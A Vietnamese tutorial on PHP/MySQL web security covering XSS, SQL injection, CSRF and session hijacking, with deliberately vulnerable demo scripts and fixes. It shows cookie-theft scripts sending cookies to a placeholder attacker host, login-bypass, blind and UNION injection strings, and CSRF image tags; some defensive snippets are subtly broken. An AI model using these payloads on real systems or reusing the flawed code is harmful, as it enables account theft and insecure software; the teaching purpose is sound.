Tìm hiểu và chống lỗi bảo mật trong ứng dụng web
Bài từ dự án mở Ứng dụng mẫu.
Mục lục |
PHP & MySQL
Lời mở đầu
Những năm gần đây, bộ đôi PHP & MySQL ngày càng chiếm lĩnh được cảm tình của những nhà phát triển web. Hơn 95% các ứng dụng web viết bằng PHP đều có dùng MySQL. Đặc biệt hơn cả, thời kỳ phát triển của web 2.0, bộ đôi này lại càng được đánh giá cao hơn. Ta có thể kể ra những web 2.0 tiêu biểu sử dụng bộ đôi này như: Flickr, Facebook, Wikipedia, Digg, Yahoo... và rất nhiều các ứng dụng web 2.0 lớn nhỏ. Một đế chế mới được hình thành, đó là LAMP. Đi kèm với sự phát triển đó là vấn đề bảo mật trong các ứng dụng web. Trong bài viết này, tôi sẽ nêu chi tiết các lỗi bảo mật và cách phòng chống chúng.
XSS – Cũ mà mà không cũ
XSS là một lỗi không mới, nhưng đến thời web 2.0, các ứng dụng ngày càng dùng Client Script nhiều hơn, điển hình là Javascript thì người ta lại nhắc đến nó nhiều hơn lúc nào hết. Nói đến nó là người ta thường nói đến Javascript Malware, Web Worm. Các website “nổi” ở thời web 2.0 đều đã gặp phải như Youtube, Myspace, Xanga, Digg và kể cả Google, Yahoo.
Điểm mấu chốt ở lỗi XSS là sự thực thi trái phép Javascript trên website, ngoài ra lỗi này còn có thể dính ở Flash. Mục tiêu cuối cùng của kẻ muốn lợi dụng lỗi này là đánh cắp cookie (thông tin của người dùng), giả mạo một nội dung nào đó để đánh lừa người dùng. Lỗi này được đánh giá là rất nguy hiểm và luôn nằm trong top các lỗi bảo mật được thống kê hàng năm. Sau đây, chúng ta sẽ làm thử một ví dụ nhỏ về lỗi XSS để tìm hiểu nó:
Lưu ý: Để chạy các ví dụ, bạn phải cấu hình magic_quotes_gpc trong php.ini là off
Tạo một file test-xss.php có nội dung như sau:
- <form action="" method="post">
- <input type="text" name="keyword" value="<?=$_POST['keyword']?>"> <input type="submit" value="Search">
- </form>
- <?php
- set_magic_quotes_runtime(FALSE);
- if(isset($_POST['keyword']) && !empty($_POST['keyword'])) {
- echo 'Từ khóa cần tìm là: '.$_POST['keyword'];
- }
- ?>
Sau khi chạy trang, bạn hãy nhập đoạn sau vào ô tìm kiếm:
- Oh <script>alert('XSS')</script>
Kết quả ta được:
Như bạn thấy, mã javascript đã bị thực thi trái phép. Javascript có thể lấy được cookie, hacker có thể dùng đoạn mã sau đây để lấy cookie của người dùng, từ đó có thể truy cập trái phép vào tài khoản của họ nếu website không được bảo mật kỹ, hacker có thể lừa nạn nhân truy cập đường dẫn có kèm theo đoạn mã sau:
- <script>
- document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document.cookie;
- </script>
Những người dùng thường xuyên thường có thói quen ghi nhớ lại thông tin tài khoản (Remember me). Vì vậy trong trường hợp này, mất cookie là rất nguy hiểm. Một cách khác đối với những website cho người nội dung như diễn đàn, gửi bài bình luận:
- <script>
- document.getElementById('some_div').innerHTML= '<img src="http://attackers.domain.com/somescript.php?cookies=' + document.cookie + ' />';
- </script>
Lúc này, bất cứ ai vào trang có nội dung trái phép này đều sẽ bị mất cookie và số nạn nhân sẽ là rất nhiều chứ không chỉ là đối tượng mà hacker hướng tới như trường hợp trên. Với cách này, nội dung trên website lúc này đã được thay đổi. Lấy ví dụ, nếu người dùng đọc một bài viết có download file nào đó, khi đó, hacker có thể thay đổi lại đường dẫn của file trên trang bằng file khác, làm cho người dùng lầm tưởng là file của website mà tải về , hoặc hacker có thể thay đổi những đường dẫn khác mà nhiều người click hơn. Một thủ thuật cũng khá tổn hại đến website là dùng javascript để chuyển hướng đến trang khác làm người dùng không thể xem website chính mà là trang hacker muốn chuyển đến:
- <script>
- document.getElementById('some_div').innerHTML= '<meta http-equiv="refresh" content="0;url=http://hackerdomain.com">';
- </script>
Digg Vulnerable to XSS: oreillynet.com/onlamp/blog/2005/11/digg_vulnerable_to_xss.html
Chống XSS
Lỗi XSS rất nguy hiểm, để chống được nó cũng là một việc dễ nhưng cũng rất khó khăn. Mỗi trình duyệt xử lý javascript khác nhau, làm cho việc chống nó trở nên rất khó khăn, nhất là đối với việc lọc các đoạn mã nguy hiểm. Bạn có thể xem XSS Cheat Sheet (http://ha.ckers.org/xss.html) – một danh sách khá dài. Sau đây là một số cách nhằm hạn chế XSS: - Chống thực thi javascript: Mã hóa các kí tự đặc biệt: dùng hàm htmlspecialchars, htmlentities (http://php.net/htmlspecialchars) để mã hóa và strip_tags nếu bạn muốn không có HTML trong nội dung. Nhưng tốt nhất bạn hãy dùng hàm này:
- function my_html_encode($s) {
- $s = preg_replace("#&(?!\#[0-9]+;)#si", "&", $s); // Fix & but allow unicode
- $s = str_replace("<","<",$s);
- $s = str_replace(">",">",$s);
- $s = str_replace("\"",""",$s);
- $s = str_replace(" ", " ", $s);
- return $s;
- }
- echo 'Từ khóa cần tìm là: '.my_html_encode($_POST['keyword']);
Sau khi sửa, kết quả sẽ là:

Nhược điểm của cách trên là không để dùng với các WYSIWYG editor để soạn nội dung, bạn buộc phải dùng BBcode hoặc Wiki Format. Nhưng không phải là không có giải pháp, sau đây là một số giải pháp:
+ Dùng các class viết bằng PHP để format lại HTML:
PHP Input Filter (phpclasses.org/browse/package/2189.html)
HTML_Safe (pear.php.net/package/HTML_Safe)
kses (sourceforge.net/projects/kses)
Safe HTML Checker (simonwillison.net/code/php/SafeHtmlChecker.class.php.txt)
HTML Purifier (htmlpurifier.org)
+ Dùng thư viện có sẵn trong PHP là Tidy: http://us2.php.net/manual/en/ref.tidy.php
- Chống mất cookie: Đây là vấn đề rất quan trọng, giải pháp tốt nhất hiện nay là dùng HttpOnly Cookie. (msdn2.microsoft.com/en-us/library/ms533046.aspx)
- Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
Đây là một kĩ thuật của Microsoft hỗ trợ trên trình duyệt Internet Explorer, mới đây, Firefox đã hỗ trợ từ phiên bản 2.0.0.5. Ngoài ra còn được hỗ trợ trên Opera 9, Konqueror. Khi dùng kỹ thuật này, không thể lấy cookie bằng Javascript (ha.ckers.org/httponly.cgi). Để tạo HttpOnly Cookie bằng PHP, bạn có thể làm như sau:
httponly.php
- <?php
- $setting = array(
- 'cookie_url' => '',
- 'cookie_path' => '',
- 'cookie_pre' => ''
- );
- function set_cookie($name, $value="", $expires="", $httponly=true)
- {
- global $setting;
- $setting['cookie_url'] = $setting['cookie_url'] == "" ? "" : $setting['cookie_url'];
- $setting['cookie_path'] = $setting['cookie_path'] == "" ? "/" : $setting['cookie_path'];
- $setting['cookie_pre'] = $setting['cookie_pre'] == "" ? "cookie_" : $setting['cookie_pre'];
- if($expires == -1) {
- $expires = 0;
- } else if($expires == "" || $expires == null) {
- $expires = time() + 31536000; // 60*60*24*365
- } else {
- $expires = time() + intval($expires);
- }
- $name = $setting['cookie_pre'].$name;
- $cookie = "Set-Cookie: {$name}=".urlencode($value);
- if($expires > 0)
- {
- $cookie .= "; expires=".gmdate('D, d-M-Y H:i:s \\G\\M\\T', $expires);
- }
- if(!empty($setting['cookie_path']))
- {
- $cookie .= "; path={$setting['cookie_path']}";
- }
- if(!empty($setting['cookie_url']))
- {
- $cookie .= "; domain={$setting['cookie_url']}";
- }
- if($httponly == true)
- {
- $cookie .= "; HttpOnly";
- }
- header($cookie, false);
- }
- set_cookie('user', 'Administrator');
- ?>
Với cách trên, chúng ta dùng hàm header trong PHP để tạo cookie, nhưng kể từ phiên bản PHP 5.2, hàm setcookie đã hỗ trợ HttpOnly (php.net/setcookie)
Tóm lại, các giải pháp phòng chống không phải là đã an toàn 100%. Tốt nhất bạn hãy kiểm tra tốt phần nhận dữ liệu từ người dùng, hạn chế lưu những thông tin nhạy cảm của người dùng bằng cookie. Nếu site bạn không dùng cookie thì cũng nên chống XSS để tránh trường hợp tạo trang giả mạo, thay đổi nội dung trang để đánh lừa người dùng.
SQL Injection – Nguy hiểm luôn rình rập
Trong phần này, tôi chỉ bàn đến lỗi trong MySQL khi sử dụng với PHP. Đây là lỗi bảo mật nguy hiểm chỉ đứng sau XSS về số lượng lỗi bị khai thác.
Để thuận thiện cho quá trình tìm hiểu và phân tích, chúng ta sẽ tạo một database với tên testsql001 và sử dụng kết hợp Command để quản trị MySQL
- CREATE DATABASE testsql001;
Hình:BMLAMP MySQL 001.gif
Sau đây là các lỗi có thể bị khai thác:
* Đăng nhập tài khoản trái phép:
Bạn hãy import SQL sau vào database tên là testsql001
- CREATE TABLE `user` (
- `id` INT(10) NOT NULL AUTO_INCREMENT,
- `name` VARCHAR(128) NOT NULL DEFAULT '',
- `pass` VARCHAR(128) NOT NULL DEFAULT '',
- PRIMARY KEY (`id`)
- ) TYPE=MyISAM;
- INSERT INTO `user` VALUES (1, 'admin', 'adminpass');
- INSERT INTO `user` VALUES (2, 'user', 'userpass');
Tiếp tục tạo script PHP như sau: testsql.php
- <?php
- if(isset($_GET['name']) || isset($_GET['pass'])) {
- $dbserver = "localhost";
- $dbuser = "root";
- $dbpw = "";
- $dbname = "testsql001";
- mysql_connect($dbserver,$dbuser,$dbpw) OR die ('Could not connect: '.mysql_error());
- mysql_select_db($dbname) OR die('Could not select database');
- $query = "SELECT * FROM user WHERE name='{$_GET['name']}' AND pass='{$_GET['pass']}'";
- $result = mysql_query($query)/* OR die('Query failed: ' . mysql_error())*/;
- $user = mysql_fetch_assoc($result);
- if (isset($user) && !empty($user))
- {
- echo 'Welcome : '.$user['name'];
- } else {
- echo 'Wrong!!!';
- }
- echo '<p>Debug Query:<br /><b>'.$query.'</b><p>';
- } else {
- echo 'Welcome Guest';
- }
Vì lý do bảo mật, bạn hãy thay RO thành OR và [ thành dấu nháy (') trong các câu lệnh SQL
Thử vào trang với URL:
URL 1 : http://localhost/SECURITY/testsql.php?name=admin[ RO [1=1 <= hợp lệ URL 2 : http://localhost/SECURITY/testsql.php?name=admin[ RO 1=1--[ <= hợp lệ URL 3 : http://localhost/SECURITY/testsql.php?name=admin[ RO 1=1 <= không hợp lệ
Lúc này query sẽ là:
URL 1 : SELECT * FROM user WHERE name='admin' RO [1=1[ AND pass=[[ URL 2 : SELECT * FROM user WHERE name='admin' RO 1=1--[[ AND pass=[[ URL 3 : SELECT * FROM user WHERE name='admin' RO 1=1[ AND pass=[[
Khi có biểu thức 1=1 hoặc -- thì các cậu lệnh SQL phía sau (AND pass=) xem như không có tác dụng. Khi đó, trang sẽ hiện ra:
http://localhost/SECURITY/testsql.php?name=admin[ RO [1=1&pass=123
http://localhost/SECURITY/testsql.php?name=admin[/* <= hợp lệ http://localhost/SECURITY/testsql.php?name=admin[# <= không hợp lệ http://localhost/SECURITY/testsql.php?name=admin[%23 <= hợp lệ

Đây là những kí tự để chú thích cho câu lệnh SQL, vì vậy, phần SQL phía sau đó xem như không có tác dụng. Đấy thăng # ở đây không hợp lệ vì nó dùng để trỏ tới một anchor trên trang chứ không được gửi tới query, %23 là mã hóa của #, nó hợp lệ để gửi đi.

Như vậy, hacker có thể đăng nhập hợp pháp với bất cứ tài khoản nào có trong CSDL mà không cần biết mật khẩu.
test-search.php
- <?php
- set_magic_quotes_runtime(FALSE);
- if(isset($_GET['kw'])) {
- $dbserver = "localhost";
- $dbuser = "root";
- $dbpw = "";
- $dbname = "testsql001";
- mysql_connect($dbserver,$dbuser,$dbpw) OR die ('Could not connect: '.mysql_error());
- mysql_select_db($dbname) OR die('Could not select database');
- $query = "SELECT * FROM user WHERE name LIKE '%{$_GET['kw']}%' OR pass LIKE '%{$_GET['kw']}%'";
- $result = mysql_query($query)/* OR die('Query failed: ' . mysql_error())*/;
- while($s = mysql_fetch_assoc($result)) {
- $r[] = $s;
- }
- if (isset($r) && !empty($r)) {
- foreach($r as $rs) {
- echo $rs['name'].' - '.$rs['pass'].'<br />';
- }
- } else {
- echo 'Not found!!!';
- }
- echo '<p>Keyword: '.$_GET['kw'].'<br />Debug Query: <b>'.$query.'</b><p>';
- } else {
- echo 'Search me!';
- }
Khi ta cho từ khóa (kw) là % và _ thì tất cả dữ liệu trong bảng user sẽ được hiển thị
http://localhost/SECURITY/test-search.php?kw=% <= tất cả http://localhost/SECURITY/test-search.php?kw=_ <= tất cả http://localhost/SECURITY/test-search.php?kw=admin <= admin - adminpass

Nếu dữ liệu nhiều, hacker có thể gửi liên tục URL này, rất có thể server của bạn sẽ quá tải.
- Blind SQL Injection:
Sửa $query trong testsql.php thành:
$query = "SELECT * FROM user WHERE name='{$_GET['name']}'";
Kỹ thuật này là cách dò tìm dựa vào các lỗi SQL Injection và so sánh giá trị trong SQL. Sau đây ra sẽ thử dò xem mật khẩu của tài khoản admin là gì. Đầu tiên sẽ tìm độ dài của mật khẩu bằng hàm LENGTH của MySQL URL:
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[4 <= Sai http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[6 <= Sai http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[9 <= Đúng

Như vậy mật khẩu dài 9 kí tự, tiếp theo sẽ dò từng kí tự trong mật khẩu, MySQL hỗ trợ các hàm: LEFT, RIGHT và MID (dev.mysql.com/doc/refman/5.0/en/string-functions.html) để tìm vị trí của kí tự trong chuỗi nào đó.
Tìm kí tự đầu tiên, tham số thứ 2 trong hàm LEFT là độ dài kí tự muốn lấy ra:
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,1)=[p <= Sai http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,1)=[a <= Đúng

Tiếp tục tìm kí tự thứ hai trong mật khẩu, ta đã biết được kí tự đầu tiên là "a":
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,2)=[ad
Tương tự cho đến 9 kí tự:
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,9)=[adminpass


Như vậy, hacker đã biết được chính xác mật khẩu của tài khoản admin. Các hacker thường viết ra công cụ tự dò tìm, tốc độ rất nhanh, vì vậy bạn đừng nghĩ rằng cách này tốn thời gian vô ích!
- Sửa dụng câu lệnh gộp (UNION Query):
Đấy là cách SQL Injection khá thông dụng cho ASP và MSSQL, đối với MySQL cũng có thể bị khai thác tương tự. Đây là lỗi SQL Injection thường được khai thác nhất vì hiệu quả cao.
Chạy SQL sau để tạo bảng post:
- CREATE TABLE `post` (
- `id` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
- `title` TEXT NOT NULL ,
- `TEXT` TEXT NOT NULL
- ) ENGINE = MYISAM;
- INSERT INTO `testsql001`.`post` VALUES (NULL , 'Bai viet 1', 'Noi dung bai viet 1'), (NULL , 'Bai viet 2', 'Noi dung bai viet 2');
Tạo file union.php như sau:
- set_magic_quotes_runtime(FALSE);
- if(isset($_GET['id'])) {
- $dbserver = "localhost";
- $dbuser = "root";
- $dbpw = "";
- $dbname = "testsql001";
- mysql_connect($dbserver,$dbuser,$dbpw) or die ('Could not connect: '.mysql_error());
- mysql_select_db($dbname) or die('Could not select database');
- $query = "SELECT * FROM post WHERE id='{$_GET['id']}'";
- $result = mysql_query($query)/* or die('Query failed: ' . mysql_error())*/;
- $post = mysql_fetch_assoc($result);
- if (isset($post) && !empty($post))
- {
- echo 'Title : <b>'.$post['title'].'</b><br />';
- echo 'Text : '.$post['text'].'<br />';
- } else {
- echo 'Wrong!!!';
- }
- echo '<p>Post ID: '.$_GET['id'].'<br />Debug Query: <b>'.$query.'</b><p>';
- } else {
- echo 'Post list';
- }
Sau đó, ta chạy thử với URL như sau:
URL: http://localhost/SECURITY/union.php?id=1' union select 1,name,pass from user %23' Query: SELECT * FROM post WHERE id='1' union select 1,name,pass from user #''

Chưa có gì đặc biệt, ta thử trong Command xem sao:

Kết quả ta thấy câu lênh lấy ra được 3 rows, nhưng vì trong mã PHP, ta chỉ lấy một kết quả đầu tiên. Ta thử sửa lại mã như sau:
- //...
- while($post = mysql_fetch_assoc($result)) {
- echo 'Title : <b>'.$post['title'].'</b><br />';
- echo 'Text : '.$post['text'].'<br />';
- }
- //...
Kết quả ta được:

Như vậy tài khoản trong bảng user đã bị lộ. Trở lại với trường hợp trang chỉ có ra một kết quả, mặc dù tập kết quả trả về từ query vẫn là 3, nhưng khi hiện ra trang chỉ lấy kết quả đầu tiên, nên hacker chưa thể có được kết quả trong bảng user. Ta thử với URL sau:
http://localhost/SECURITY/union.php?id=-1' union select 1,name,pass from user %23'
Kết quả ta được khi lấy toàn bộ kết quả:

Khi lấy 1 kết quả:


Khi số id ở SELECT đầu tiên không tồn tại, tức kết quả trả về là rỗng, khi đó kết quả sẽ chỉ có ở SELECT thứ hai. Union dùng để gộp query với các bảng có số trường bằng nhau. Ta thử thêm một trường nữa vào bảng post:
- ALTER TABLE `post` ADD `ORDER` VARCHAR( 100 ) NOT NULL AFTER `TEXT` ;
Lúc này, bảng post đã có số trường khác với bảng user, ta chạy thử câu query ban đầu:
- SELECT * FROM post WHERE id='-1' UNION SELECT id,name,pass FROM user #''
Ngay lập tức, MySQL sẽ báo lỗi hai bảng không có số trường bằng nhau:
![]()
Nhưng hãy thử bằng query sau đây:
- SELECT * FROM post WHERE id='-1' UNION SELECT id,name,pass,1 FROM user #''
Kết quả đã lấy được dữ liệu từ bảng user một cách hợp lệ mà không phải gặp thông báo lỗi:

Từ đây ta rút ra được, đừng nên nghĩ rằng hai bảng không có số trường giống nhau thì sẽ không cho ra kết qua khi dùng Union!
Ngoài việc lấy dữ liệu, hacker còn có thê khai thác qua các lệnh INSERT và UPDATE để thêm mới hoặc cập nhật dữ liệu trái phép như thêm tài khoản mới với quyền quản trị, cập nhật từ người dùng bình thường thành quản trị. Hacker còn có thể lấy các thông tin về máy chủ CSDL bằng các hàm như: DATABASE(),USER(),SYSTEM_USER(). Nguy hiểm với dữ liệu hơn là có thể dùng lệnh DROP để xóa đi một bảng nào đó!
SQL Injection Cheat Sheet: ferruh.mavituna.com/makale/sql-injection-cheatsheet
Cách chống SQL Injection:
“Hiểm họa” SQL Injection nằm ở vấn để nhập giá trị cùng dấu nháy đơn (') nhằm làm thay đổi câu query để thực hiện hành động không đúng mục đích. Cách giải quyết dấu nháy đơn là thêm kí tự thoát chuỗi để xem dấu nháy như là kí tự trong giá trị chứ không có tác dụng với cả query. PHP cung cấp sẵn giải pháp:
'''mysql_real_escape_string''' — Escapes special characters in a string for use in a SQL statement '''addslashes''' — Quote string with slashes
Bạn nên dùng hàm mysql_real_escape_string để kiểm qua các giá trị nhận được trước khi đưa vào câu query, các chuỗi kí tự nên được lọc qua hàm này. Nếu có thể, hãy lọc hết các kí tự nhạy cảm như: ',",<,>,*,/,-,#,( và )
- $name = mysql_real_escape_string($_GET['name']);
- $pass = mysql_real_escape_string($_GET['pass']);
- $query = "SELECT * FROM user WHERE name='{$name}' AND pass='{$pass}'";
- //Kết quả: "SELECT * FROM users WHERE name='\' OR \'1\'=\'1'"
Hoặc bạn có thể dùng hàm bên dưới để có thể xử lý phù hợp hơn:
- function sql_quote( $value ){
- if( get_magic_quotes_gpc() ){
- $value = stripslashes( $value );
- }
- //check if this function exists
- if( function_exists( "mysql_real_escape_string" ) ){
- $value = mysql_real_escape_string( $value );
- } else { //for PHP version < 4.3.0 use addslashes
- $value = addslashes( $value );
- }
- return $value;
- }
PHP hỗ trợ sẵn magic_quotes_gpc để tự động thoát chuỗi cho các giá trị gửi qua $_GET, $_POST, $_COOKIE, nhưng bạn nên đặt nó là OFF vì chức năng này đã được loại bỏ trong PHP6. Một điều lưu ý khi thoát chuỗi là khi xuất dữ liệu ra trang, bạn nên loại bỏ các kí tự thoát chuỗi để hiện thị đúng với văn bản được nhập:
- $text = 'SELECT * FROM post WHERE id=\'-1\'...';
- $text = stripslashes( $text );
- echo $text;
- // Output:
- // SELECT * FROM post WHERE id='-1'...
Đối với những giá trị là số nguyên như số ID chẳng hạn. Cách tốt nhất là kiểm xem nó có phải là số hay không, tất nhiên là PHP hỗ trợ hàm để làm điều đó:
- $id = intval($_GET['id']); // tự động chuyển sang kiểu int
- //tương tự như ép kiểu (int) $_GET['id']
- //... hoặc
- if(is_numberic($_GET['id'])) {
- // hợp lệ
- }
Trường hợp khi xử lý tìm kiếm, vì mysql_real_escape_string không lọc các kí tự % và _ nên bạn có thể lọc bằng cách sau (thoát chuỗi thủ công):
- $keywords = $_GET['kw'];
- $keywords = str_replace("_","\_",$keywords);
- $keywords = str_replace("%","\%",$keywords);
Để hạn chế thêm, bạn có thể dùng Stored Procedure trong MySQL 5 (dev.mysql.com/doc/refman/5.0/en/stored-procedures.html). Tuy nhiên, cách tốt nhất để chống SQL Injection là dùng prepared statement được hỗ trợ trong PHP5 kèm theo phần mở rộng MySQLi (MySQL Improved) bạn có thể xem chi tiết tại: php.net/mysqli
- $mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');
- /* check connection */
- if (mysqli_connect_errno()) {
- printf("Connect failed: %s\n", mysqli_connect_error());
- exit();
- }
- $stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
- $stmt->bind_param('sssd', $code, $language, $official, $percent);
- $code = 'DEU';
- $language = 'Bavarian';
- $official = "F";
- $percent = 11.2;
- /* execute prepared statement */
- $stmt->execute();
- printf("%d Row inserted.\n", $stmt->affected_rows);
- /* close statement and connection */
- $stmt->close();
- /* Clean up table CountryLanguage */
- $mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
- printf("%d Row deleted.\n", $mysqli->affected_rows);
- /* close connection */
- $mysqli->close();
Nếu bạn dùng các CSDL khác ngoài MySQL, thì PHP cũng cung cấp PDO (PHP Data Objects) để hỗ trợ các CSDL khác như MSSQL, Oracle, DB2... và tất nhiên là hỗ trợ cả MySQL. PDO cũng hỗ trợ prepared statement để bạn sử dụng. Xem chi tiết: php.net/PDO
- $stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
- if ( $stmt->execute( array($_GET['name']) ) ) {
- while ($row = $stmt->fetch()) {
- print_r($row);
- }
- }
Một số thủ thuật khác để chống SQL Injection nếu bạn không thể sử dụng prepared statement:
- Giới hạn số kí tự tối đa: Các dữ liệu như số ID, tên tài khoản, mật khẩu dùng để khai thác lỗi SQL Injection thường không dài lắm so với câu query không hợp pháp dùng để “tiêm” SQL. Vì vậy, bạn nên giới hạn số kí tự tối đa nếu có thể. Ví dụ tên tài khoản và mật khẩu không được dài quá 32 kí tự.
- Tắt thông báo lỗi: Thông thường, để khai thác lỗi SQL Injection, việc đầu tiên hacker phải làm là kiểm tra xem câu truy vấn có bị lỗi hay không. Khi có lỗi xảy ra, MySQL sẽ ném ra lỗi với thông tin chi tiết về lỗi đó, trong đó có cả thông tin về bảng bị lỗi. Chính từ những thông báo lỗi này, hacker có thể dễ dàng khai thác SQL Injection hơn. Vì vậy, tốt nhất là bạn hãy tắt thông báo lỗi trong PHP:
- ini_set('display_errors',0);
- // hoặc
- error_reporting(0);
Để thuận tiện cho việc sửa lỗi nhưng vẫn đảm bảo không tiết lộ thông tin khi bị lỗi, bạn nên dùng set_error_handler. Xem chi tiết: php.net/set_error_handler
- Giới hạn quyền truy cập CSDL: Đừng nên dùng tài khoản có quyền quản trị cao nhất để truy cập database cho ứng dụng web. Thay vào đó, bạn nên tạo tài khoản khác với những quyền hạn phù hợp và nên giới hạn các quyền hạn liên qua tới hệ thống đến mức có thể. Lấy ví dụ, website chỉ đọc từ CSDL, bạn chỉ cần cho tài khoản MySQL có quyền SELECT. Nếu người dùng có hành động đăng nhập tài khoản, thì chỉ nên giới hạn quyền truy cập vào bảng user, các bảng khác không liên quan thì không thể truy cập được.
Cross-Site Request Forgeries (CSRF) – Ném đá giấu tay
Lỗi bảo mật này thường ít được chú ý đến, nhưng thiệt hại của nó cũng không kém so với XSS. Cơ chế của lỗi này là đánh lừa người dùng thực hiện việc họ không muốn như xóa dữ liệu, tài khoản, gửi nội dung sai mục đích... Lỗi này thường được kết hợp với XSS để đánh lừa dễ dàng hơn. Ví dụ ta có một form gửi bài viết mới: post-csrf.php
- <?php
- if(isset($_GET['title'])) {
- file_put_contents('new_post.txt', $_GET['title']."\n", FILE_APPEND);
- echo 'OK';
- } else {
- ?>
- <form action="">
- Title: <input type="text" name="title"/>
- <input type="submit" value="Post">
- </form>
- <?php } ?>
Sau đó, chèn đoạn mã sau đây vào trang nào đó:
- <img src="http://localhost/post-csrf.php?title=test" />
Khi chạy trang có chèn mã trên, nội dung sẽ được lưu trữ trong new_post.txt. Đối với ví dụ này thì không có gì nguy hiểm, nhưng nếu website có đường dẫn để xóa bài viết hay tài khoản nào đó:
- <img src="http://localhost/post-csrf.php?type=post&id_delete=123" />
Nếu không bảo mật, bài viết thứ 123 sẽ bị xóa khi bất kỳ ai truy cập vào trang có đoạn mã trên. Nếu là một trang bán hàng nào đó, có URL: buy.php?item=1 thì rất có thể người dùng sẽ bị thiệt hại tài sản khi đặt hàng những thứ mà mình không có chủ ý mua. Hoặc nguy hiểm hơn, hacker có thể đánh lừa người quản trị truy cập trang có mã độc để xóa hay sửa đổi dữ liệu của website mà người quản trị không hay biết. Website sẽ chứa đầy spam nếu phần xử lý gửi bài viết của diễn đàn, trang tin chưa xử lý lỗi CSRF!!!
Cách chống CSRF
- Lỗi này một phần là do bạn đã sử dụng phương thức $_GET để thực hiện các hành động. Cách tốt nhất là hãy chuyển sang $_POST và hãy quên đi $_REQUEST. - Dùng token để xác thực hành động và nên tạo một trang xác nhận khi thực hiện hành động nào đó.
- set_magic_quotes_runtime(FALSE);
- $token = md5(uniqid(rand(), TRUE));
- $_SESSION['token'] = $token;
- $_SESSION['token_timestamp'] = time();
- ?>
- <form action="" method="POST">
- <input type="hidden" name="token" value="<?=$token?>" />
- Item: <input type="text" name="item_id" /> <input type="submit" value="Post">
- </form>
- <?php
- if(isset($_POST['item_id']) && !empty($_POST['item_id'])) {
- if (isset($_POST['token']) && isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
- {
- $token_limit = time() - $_SESSION['token_timestamp'];
- if ($token_limit <= 300) {
- // Quá hạn thời gian
- } else {
- // Hành động hợp lệ
- }
- }
- }
Đoạn mã trên tạo một token và lưu nó vào trong Session tại thời điểm người dùng duyệt trang này, như vậy sẽ không thể thực hiện hành động lúc nào cũng được.
Tạo trang xác nhận: Bạn hãy để ý trang Yahoo 360, khi xóa blog nào đó, bạn sẽ bấm vào liên kết GET, lúc đó mới chuyển qua trang xác nhận và hành động xóa được thực hiện bằng POST, cách này khá an toàn và thân thiện.
- <input type="hidden" name="item_id" value="<?=$_GET['delete_id']?>" />
Tạo tên trang ngẫu nhiên theo thủ thuật nào đó mà bạn nghĩ ra, có thể là thời gian lúc xem trang, tên của tài khoản được cộng trừ, cắt ghép sao cho không thể đoán ra. Mỗi liên kết thực hiện hành động là mỗi liên kết khác nhau tại các thời điểm và hacker khó mà sử dụng liên kết đó để lừa người dùng. http://localhost/post-csrf.php?type=post&id_delete=123&secure=kHfgyjshH
Ngoài ra còn có một kỹ thuật Iframe Post bằng cách dùng iframe để qua mặt cách dùng POST khi thực hiện hành động. Vì vậy, để an toàn hơn nữa, nên lọc các thẻ iframe có trong trang! Cũng có thể khắc phục phần nào bằng cách đặt đoạn javascript chuyển trang mở trong iframe sau vào trang xác nhận hành động, nó sẽ chuyển về trang chủ nếu trang được mở trong một iframe:
- if(top != self) {
- top.location.href = 'http://domain_name.com/action_demo.php';
- }
Để an chắc chắn hơn nữa, bạn có thể kết hợp thêm Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart - en.wikipedia.org/wiki/Captcha, captchas.net) tại trang xác nhận hành động.
Session Hijacking
Đây là lỗi có mức độ nguy hiểm tương đường với CSFR. Lỗi được khai thác thông qua định danh Session của người dùng, tuy nhiên khả năng thành công không cao. Một khi đã chiếm được Session của người dùng nào đó, hacker sẽ có quyền truy cập như người dùng đó. Nguy hiểm hơn, session thường được xác định thông qua một giá trị lưu trong cookie, mặc định trong PHP là: PHPSESSID. Vì vậy nếu website bị lỗi XSS giúp hacker có thể lấy được cookie của người dùng thì khả năng bị chiếm đoạt tài khoản là rất cao. Sau đây chúng ta sẽ bàn về cách hạn chế lỗi này:
Khi ta khởi tạo một Session khi người dùng truy cập trang bằng: session_start(). Khi đó PHP sẽ tạo một định danh Session. Tuy nhiên, nhiều người có thể dùng chung định danh này. Vì vậy, ta cần thêm một số thông tin xác nhận để chắc rằng định danh chỉ được sử dụng bởi người dùng khởi tạo định danh đó. Cách thường dùng là thêm vào HTTP_USER_AGENT và một chuỗi salt (một chuỗi ngẫu nhiên) và thêm cả địa chỉ IP của người dùng nếu cần.
- session_start();
- $ss = $_SERVER['HTTP_USER_AGENT'];
- $ss .= 'HELLO_WORLD'; //salt
- if (isset($_SESSION['HTTP_USER_AGENT'])){
- if ($_SESSION['HTTP_USER_AGENT'] != md5($ss))
- {
- /* Prompt for password */
- exit;
- }
- }else{
- $_SESSION['HTTP_USER_AGENT'] = md5($ss);
- }
Những lỗi cơ bản khác
Lỗi Register Globals
Đây là một lỗi bảo mật tương đối nguy hiểm, nếu người lập trình đọc những tài liệu cũ thì rất hay phạm phải sai lầm này. Ví dụ ta chạy đường dẫn: http://localhost/test.php?act=login&is_login=1
- if(CheckLogin($user, $pass))
- {
- $is_login = 1;
- }
- if($is_login == 1)
- {
- include("admin.php");
- }
Khi đó, tài khoản đã được đăng nhập mà không cần phải nhập user, password. Cách giải quyết:
- Tắt register_globals trong php.ini register_globals = Off
- Bỏ thói quen dùng biến để lấy giá trị từ request. Thay vào đó hãy dùng $_GET và $_POST
- Sử dụng Session để lưu các giá trị xác nhận quyền hạn
$_SESSION['is_login'] = 1;
Lỗi Include Files
